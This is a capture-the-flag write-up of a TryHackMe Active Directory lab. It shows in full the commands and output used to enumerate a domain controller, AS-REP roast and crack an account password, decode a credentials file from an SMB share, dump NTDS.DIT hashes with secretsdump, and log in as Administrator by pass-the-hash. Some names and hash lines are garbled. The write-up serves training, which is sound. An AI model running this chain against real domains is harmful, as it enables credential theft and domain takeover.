


TryHackMe - Attacker Directory

Windows



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Write up by


Spenge

<https://spenge.pw>

twitter.com/SpengeSec

By copy/pasting & cheating you only cheat yourself!

Lets first create a host record in our **/etc/hosts** file.



Enumerate the DC

The first objective is to find out how many ports are open < 10000.

```

root@kali:~/Documents/THM/Windows/Attacktive_Directory >nmap -sV -sC -p 0-10000 -oA attacktive.nmap 10.10.221.192
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-05 13:53 CEST
Nmap scan report for 10.10.221.192
Host is up (0.033s latency).
Not shown: 9986 closed ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|     bind
80/tcp    open  http         Microsoft IIS httpd 10.0
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: IIS Windows Server
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-09-05 11:56:19Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: spookyseclocal0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: spookyseclocal0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ rdp-ntlm-info:
|   Target Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIRECT
|   DNS_Domain_Name: spookyseclocal
|   DNS_Computer_Name: AttacktiveDirectory.spookyseclocal
|   Product_Version: 10.0.17763
|_ System_Time: 2020-09-05T11:58:35+00:00
|_ ssl-cert: Subject: commonName=AttacktiveDirectory.spookyseclocal
|_ Not valid before: 2020-09-04T11:55:14
|_ Not valid after: 2021-03-06T11:55:14
|_ ssl-date: 2020-09-05T11:58:51+00:00; +2m11s from scanner time.
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0

```

```
nmap -sV -sC -p 0-10000 -oA attacktive.nmap <ip>
```

I counted 15, but apparently this was incorrect. To double check, I added `| grep open` at the end of my nmap command.

```

root@kali:~/Documents/THM/Windows/Attacktive_Directory >nmap -sV -sC -p 0-10000 -oA attacktive.nmap 10.10.221.192 | grep open
53/tcp    open  domain?
80/tcp    open  http         Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-09-05 12:02:52Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: spookyseclocal0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: spookyseclocal0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing

```

I still count 15, but a less detailed nmap scan comes up with only **11** open ports.

```
root@kali:/opt >nmap spookysec.local
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-05 19:17 CEST
Nmap scan report for spookysec.local (10.10.231.227)
Host is up (0.031s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3389/tcp  open  ms-wbt-server
```

The second objective is to find out which tool to use to enumerate port 139/445 (SMB)

A well known tool to do so is **enum4linux** this was also hinted at in the brief.

The third objective is to find out what the NetBIOS-Domain name is of the machine.

To do so, we run `enum4linux <ip> 2>/dev/null > attacktive.e4l`

- 1) enum4linux
- 2) 2>/dev/null -> don't show errors
- 3) > attacktive.e4l -> write output to file

This will return lots of information including the **NetBIOS Domain Name**

```
=====
|   Getting domain SID for 10.10.221.192   |
=====
Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963
[+] Host is part of a domain (not a workgroup)
```

The fourth objective of the enumeration chapter is: What invalid TLD do people commonly use for their Active Directory Domain ?

Our **nmnap** scan previously revealed the **Domain Name** being **spookysec.local**

```
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIRECT
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
```

.local is often miss-used as a .TLD (Top Level Domain)

Enumerate the DC Pt2 (KERBRUTE)

Lets proceed by downloading the userlist and passwordlist onto our machine.

```
-rw-r--r-- 1 root root 569236 Sep  5 15:12 passwordlist.txt
-rw-r--r-- 1 root root 744407 Sep  5 15:12 userlist.txt
```

The first objective of this chapter is how to enumerate valid users with kerbrute?

Kerbrute has a parameter ***userenum*** to enumerate valid usernames.

To enumerate valid usernames from the **userlist.txt** provided to us we run the following command `kerbrute_linux_386 userenum --dc spookysec.local -d spookysec.local userlist.txt`

The output:

```
root@kali:~/Documents/THM/Windows/Attacktive_Directory >/opt/kerbrute_linux_386 userenum --dc spookysec.local -d spookysec.local userlist.txt
```

```
Version: v1.0.3 (9dad6e1) - 09/05/20 - Ronnie Flathers @ropnop
```

```
2020/09/05 15:29:44 > Using KDC(s):
2020/09/05 15:29:44 >   spookvsec.local:88
```

```
2020/09/05 15:29:44 > [+] VALID USERNAME: jarvis@spookysec.local
2020/09/05 15:29:49 > [+] VALID USERNAME: sv@spookysec.local
2020/09/05 15:29:50 > [+] VALID USERNAME: Jarvis@spookysec.local
2020/09/05 15:29:50 > [+] VALID USERNAME: rol@spookysec.local
2020/09/05 15:29:55 > [+] VALID USERNAME: da@spookysec.local
2020/09/05 15:29:57 > [+] VALID USERNAME: administrator@spookysec.local
2020/09/05 15:30:00 > [+] VALID USERNAME: ba@spookysec.local
2020/09/05 15:30:01 > [+] VALID USERNAME: pa@spookysec.local
2020/09/05 15:30:16 > [+] VALID USERNAME: JARVIS@spookysec.local
2020/09/05 15:30:26 > [+] VALID USERNAME: Rol@spookysec.local
2020/09/05 15:31:02 > [+] VALID USERNAME: Administrator@spookysec.local
2020/09/05 15:32:28 > [+] VALID USERNAME: Da@spookysec.local
```

A couple notable accounts are the following:

- `svc-admin@spookysec.local`
- `backup@spookysec.local`
- `administrator@spookysec.local`

Exploiting Kerberos

First objective We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

We can use ***Impacket GetNPUsers.py*** to do some ASREPROasting to determine if there's an account we can query Kerberos tickets from without password.

[illegible]

```
python GetNPUsers.py spookysec.local/ -usersfile <file_dir>
```

svc-admin allows us to send a ticket without authentication!

Second objective Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name) ?

If you visit https://hashcat.net/wiki/doku.php?id=example_hashes

And search for kerberos 5, you'll see the full name is Kerberos 5 AS-REQ Pre-Auth etype 23 this seemed to be invalid still, so after doing some brute forcing **Kerberos 5 AS-REQ etype 23** was valid.

Third objective What mode is the hash? ?

Kerberos 5 AS-REQ etype 23 hashes are mode **18200** (defined when using hashcat) this is basic knowledge but can easily be found with a Google search.

Fourth objective Now crack the hash with the modified password list provided, what is the user accounts password ?

To crack the hash i use **John** with the following command `john --wordlist=passwordlist.txt AS_REP.txt AS_REP.txt` is a file containing the hash we previously retrieved.

```

root@kali:~/Documents/THM/Windows/Attacktive_Directory >john --wordlist=passwordlist.txt AS_REP.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
man-----5 (?)
1g 0:00:00:00 DONE (2020-09-05 16:23) 100.0g/s 665600p/s 665600c/s 665600C/s horoscope..amy123
Use the "--show" option to display all of the cracked passwords reliably
Session completed

```

The password is **man-----5**

Enumerate the DC Pt 3 (SMB with credentials)

In this chapter we'll be using the credentials we previously discovered to gain access to the smb file sharing system.

First objective Using utility can we map remote SMB shares ?

Again, this is common knowledge but we'll make use of the **smbclient** utility.

Second objective Which option will list shares ?

The **-L** parameter allows us to list shares. This information can be found in the man page.

Third objective How many remote shares is the server listing ?

To define a username using smbclient we define it by utilising the **-U** parameter.

```

root@kali:~/Documents/THM/Windows/Attacktive_Directory >smbclient -L spookysec.local -U svc-admin
Enter WORKGROUP\svc-admin's password:

      Sharename      Type      Comment
      -----      -
ADMIN$              Disk      Remote Admin
backup               Disk
C$                  Disk      Default share
IPC$                 IPC       Remote IPC
NETLOGON             Disk      Logon server share
SYSVOL              Disk      Logon server share
SMB1 disabled -- no workgroup available

```

There are **6** shares available!

Fourth objective There is one particular share that we have access to that contains a text file. Which share is it ?

We can mount each share by using the following command `smbclient -U svc-admin //spookysec.local/<share_name>`

I mounted the **backup** share and there was a .txt file inside!

```

root@kali:~/Documents/THM/Windows/Attacktive_Directory >smbclient -U svc-admin //spookysec.local/backup
Enter WORKGROUP\svc-admin's password:
Try "help" to get a list of possible commands.
smb: \> dir
.                D          0  Sat Apr  4 21:08:39 2020
..               D          0  Sat Apr  4 21:08:39 2020
backup_credentials.txt  A        48  Sat Apr  4 21:08:53 2020


      8247551 blocks of size 4096. 5266967 blocks available

```

Fifth objective What is the content of the file ?

We can retrieve its content by utilising the **more** command.

```
smb: \> more backup_credentials.txt
```



Ym-----Yw

Sixth objective Decoding the contents of the file, what is the full contents? ?

To identify the type of hash we're dealing with I used <https://www.tunnelsup.com/hash-analyzer/>

Tool to identify hash types. Enter a hash to be identified.

Analyze

| | |
|-------------------|---|
| Hash: | YmFja3VwQjRlbnw6Zm9uXNlYy5kb2N0bGpYWNhZDIAyNTE3ODIw |
| Hash type: | unknown |
| Bit length: | 288 |
| Character length: | 48 |
| Character type: | base64 |

Character type **base64** I then decrypted base64 in my Kali machine using the following command

```
root@kali:~/Documents/THM/Windows/Attacktive_Directory >base64 -d backup_credentials.txt
backup@spookysec.local:ba-----0root@kali:~/Documents/THM/Windows/Attacktive_Directory >
```

```
base64 -d backup_credentials.txt
```

The decrypted hash is **backup@spookysec.local:ba-----0**

Elevating Privileges

First objective What method allowed us to dump NTDS.DIT ?


```

root@kali:/opt/impacket-0.9.21/examples >secretsdump.py spookysec.local/backup:backup2517860@10.10.221.192
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

```

DRSUAPI

Second objective What is the Administrators NTLM hash ?

As you can see in the previous screenshot we use **secretsdump.py** to extract the hashes from all users the **Domain Controller** has access to.

```

root@kali:/opt/impacket-0.9.21/examples >secretsdump.py spookysec.local/backup:backup2517860@10.10.221.192
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6c0051f4931b727956f7699a5e3c12b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6c0051f4931b727956f7699a5e3c12b:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:31d6c0051f4931b727956f7699a5e3c12b:::
spookysec.local\skidy:1109:aad3b435b51404eeaad3b435b51404ee:5f69353d4096:::4196632b7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5f69353d4096:::4196632b7e11c57ba4:::
spookysec.local\james:1109:aad3b435b51404eeaad3b435b51404ee:31d6c0051f4931b727956f7699a5e3c12b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436867d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:3d909d38699e9965416f6d0996b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:c7d79af082d53d758e1612af78e646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c9380a49f999305d9c90a8745433062e:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6d7f8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cf6e5a465a382319c0c9ff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3d909d38699e9965416f6d0996b703b:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2f2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:f08f3e5359e372aa1f80147377ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:187e020a00e135f4b4071c0a0a04538:::
ATTACKTIVEDIRECTS:1000:aad3b435b51404eeaad3b435b51404ee:3d77bc1de72e009925500dc8fac70da9:::

```

The **administrator** NTLM hash is **e-----b**

Third objective What method of attack could allow us to authenticate as the user without the password ?

Pass the hash a hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying **NTLM or LanMan hash** of a user's password.

Forth objective Using a tool called Evil-WinRM what option will allow us to use a hash ?

-H allows us to input **NTHash**

```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL]
  -S, --ssl                               Enable ssl
  -c, --pub-key PUBLIC_KEY_PATH           Local path to public key certificate
  -k, --priv-key PRIVATE_KEY_PATH         Local path to private key certificate
  -r, --realm DOMAIN                      Kerberos auth, it has to be set also in /etc/krb5.conf file using
  -s, --scripts PS_SCRIPTS_PATH          Powershell scripts local path
  -e, --executables EXES_PATH             C# executables local path
  -i, --ip IP                             Remote host IP or hostname (required)
  -U, --url URL                           Remote url endpoint (default wsman)
  -u, --user USER                         Username (required if not using kerberos)
  -p, --password PASS                     Password
  -H, --hash NTHash                       NTHash

```

Flags

We can now connect to each of the accounts with their NT:LM hashes.

Evil-winrm supports the -H flag allowing us to authenticate with the NT hash as explained in the objective above.

```
root@kali:/opt >evil-winrm -i 10.10.221.192 -u Administrator -H e4871a20857236127988d7a0f9a0d61c12b
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-a----           4/4/2020  11:39 AM             32 root.txt
```

```
evil-winrm -i <ip> -u Administrator -H <NT Hash>
```

We are now Administrator, each flag is located in the user **Desktop** directory.